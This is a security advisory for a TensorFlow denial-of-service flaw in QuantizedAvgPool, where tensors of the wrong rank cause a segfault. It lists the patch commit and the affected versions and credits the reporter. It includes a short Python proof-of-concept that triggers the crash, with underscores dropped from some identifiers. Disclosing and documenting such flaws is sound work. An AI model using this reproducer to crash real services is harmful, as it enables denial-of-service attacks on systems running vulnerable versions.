PT-2026-59722 · Pypi · Tensorflow
Publicado
2026-07-13
·
Atualizado
2026-07-13
CVSS v3.1
5.9
Média
| Vetor | AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
Impact
If
QuantizedAvgPool is given min input or max input tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.python
import tensorflow as tf
ksize = [1, 2, 2, 1]
strides = [1, 2, 2, 1]
padding = "SAME"
input = tf.constant(1, shape=[1,4,4,2], dtype=tf.quint8)
min input = tf.constant([], shape=[0], dtype=tf.float32)
max input = tf.constant(0, shape=[1], dtype=tf.float32)
tf.raw ops.QuantizedAvgPool(input=input, min input=min input, max input=max input, ksize=ksize, strides=strides, padding=padding)Patches
We have patched the issue in GitHub commit 7cdf9d4d2083b739ec81cfdace546b0c99f50622.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
Correção
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Identificadores relacionados
Produtos afetados
Tensorflow